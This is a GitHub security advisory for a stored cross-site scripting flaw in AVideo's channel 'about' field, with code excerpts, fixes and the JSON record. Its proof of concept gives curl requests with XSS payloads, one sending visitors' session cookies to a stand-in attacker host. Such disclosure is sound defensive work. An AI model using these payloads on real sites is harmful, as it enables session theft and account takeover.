GHSA-GHX5-7JJG-Q2J7
Vulnerability from github – Published: 2026-03-25 19:52 – Updated: 2026-03-25 19:52Summary
A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.
Details
Input sanitization in objects/user.php:156:
public function setAbout($about)
{
$this->about = strip_specific_tags(xss_esc($about));
}
The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():
$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
This encodes <script>alert(1)</script> to <script>alert(1)</script>.
Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:
$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);
But the regex looks for literal <script> — it can never match the entity-encoded <script>. The sanitizer is completely neutralized by the encoding that precedes it.
Output in view/channelBody.php:239-246:
$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
echo $about;
} else {
?>
<div id="aboutAreaPreContent">
<div id="aboutAreaContent">
<?php echo $about; ?>
</div>
</div>
The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.
Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.
The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:
$user->setAbout($_POST['about']);
The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.
PoC
Step 1: Log in as any registered user and update the "about" field:
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='
Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:
https://TARGET/channel/attacker
Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.
Alternative payload using <script> tag (also works due to the sanitization bypass):
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='
Impact
- Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
- Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
- Phishing: Attacker can inject fake login forms or redirect users to malicious sites
- Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm
This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.
Recommended Fix
Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:
// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());
// After (FIXED):
$about = $user->getAbout();
Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:
// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));
// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));
Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:
require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);
And on output, remove html_entity_decode() — output the purified HTML directly.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33683"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:52:22Z",
"nvd_published_at": "2026-03-23T19:16:41Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA sanitization order-of-operations flaw in the user profile \"about\" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML.\n\n## Details\n\n**Input sanitization** in `objects/user.php:156`:\n\n```php\npublic function setAbout($about)\n{\n $this-\u003eabout = strip_specific_tags(xss_esc($about));\n}\n```\n\nThe call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`:\n\n```php\n$result = @htmlspecialchars($text, ENT_QUOTES, \u0027UTF-8\u0027);\n```\n\nThis encodes `\u003cscript\u003ealert(1)\u003c/script\u003e` to `\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;`.\n\nThen `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags:\n\n```php\n$string = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027[^\u003e]*\u003e(.*?)\u003c\\/\u0027 . $tag . \u0027\u003e/s\u0027, $replacement, $string);\n```\n\nBut the regex looks for literal `\u003cscript\u003e` \u2014 it can never match the entity-encoded `\u0026lt;script\u0026gt;`. The sanitizer is completely neutralized by the encoding that precedes it.\n\n**Output** in `view/channelBody.php:239-246`:\n\n```php\n$about = html_entity_decode($user-\u003egetAbout());\nif (!empty($advancedCustomUser-\u003eshowAllAboutTextOnChannel)) {\n echo $about;\n} else {\n?\u003e\n \u003cdiv id=\"aboutAreaPreContent\"\u003e\n \u003cdiv id=\"aboutAreaContent\"\u003e\n \u003c?php echo $about; ?\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n```\n\nThe `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `\u003cscript\u003e` tags. The result is echoed directly into the page without any further escaping.\n\n**Secondary vector:** The `\u003cimg\u003e` tag is not in the `strip_specific_tags` blocklist (`[\u0027script\u0027, \u0027style\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027applet\u0027, \u0027link\u0027]`), so payloads like `\u003cimg src=x onerror=...\u003e` bypass even the intended tag stripping entirely.\n\nThe about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user:\n\n```php\n$user-\u003esetAbout($_POST[\u0027about\u0027]);\n```\n\nThe channel page (`view/channelBody.php`) is publicly accessible \u2014 no authentication is required to view it.\n\n## PoC\n\n**Step 1:** Log in as any registered user and update the \"about\" field:\n\n```bash\ncurl -X POST \u0027https://TARGET/objects/userUpdate.json.php\u0027 \\\n -H \u0027Cookie: PHPSESSID=ATTACKER_SESSION\u0027 \\\n -d \u0027about=\u003cimg src=x onerror=alert(document.cookie)\u003e\u0026user=attacker\u0026pass=password123\u0026email=attacker@example.com\u0026name=Attacker\u0026analyticsCode=\u0026donationLink=\u0026phone=\u0027\n```\n\n**Step 2:** Any user (including unauthenticated visitors) navigates to the attacker\u0027s channel page:\n\n```\nhttps://TARGET/channel/attacker\n```\n\n**Expected result:** The JavaScript in the `onerror` handler executes in the visitor\u0027s browser, displaying their session cookie.\n\n**Alternative payload using `\u003cscript\u003e` tag (also works due to the sanitization bypass):**\n\n```bash\ncurl -X POST \u0027https://TARGET/objects/userUpdate.json.php\u0027 \\\n -H \u0027Cookie: PHPSESSID=ATTACKER_SESSION\u0027 \\\n -d \u0027about=\u003cscript\u003efetch(\"https://attacker.example/steal?c=\"%2Bdocument.cookie)\u003c/script\u003e\u0026user=attacker\u0026pass=password123\u0026email=attacker@example.com\u0026name=Attacker\u0026analyticsCode=\u0026donationLink=\u0026phone=\u0027\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page\n- **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance\n- **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites\n- **Worm potential:** Stored XSS could modify other users\u0027 profiles programmatically, creating a self-propagating worm\n\nThis is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.\n\n## Recommended Fix\n\n**Option 1 (Recommended \u2014 remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`:\n\n```php\n// Before (VULNERABLE):\n$about = html_entity_decode($user-\u003egetAbout());\n\n// After (FIXED):\n$about = $user-\u003egetAbout();\n```\n\n**Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer:\n\n```php\n// Before (VULNERABLE):\n$this-\u003eabout = strip_specific_tags(xss_esc($about));\n\n// After (FIXED \u2014 strip tags on raw HTML first, then encode):\n$this-\u003eabout = xss_esc(strip_specific_tags($about));\n```\n\n**Option 3 (Best \u2014 if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization:\n\n```php\nrequire_once \u0027vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php\u0027;\n$config = HTMLPurifier_Config::createDefault();\n$config-\u003eset(\u0027HTML.Allowed\u0027, \u0027p,br,b,i,u,a[href],ul,ol,li,strong,em\u0027);\n$purifier = new HTMLPurifier($config);\n$this-\u003eabout = $purifier-\u003epurify($about);\n```\n\nAnd on output, remove `html_entity_decode()` \u2014 output the purified HTML directly.",
"id": "GHSA-ghx5-7jjg-q2j7",
"modified": "2026-03-25T19:52:22Z",
"published": "2026-03-25T19:52:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghx5-7jjg-q2j7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33683"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/7cfdc380dae1e56bbb5de581470d9e9957445df0"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.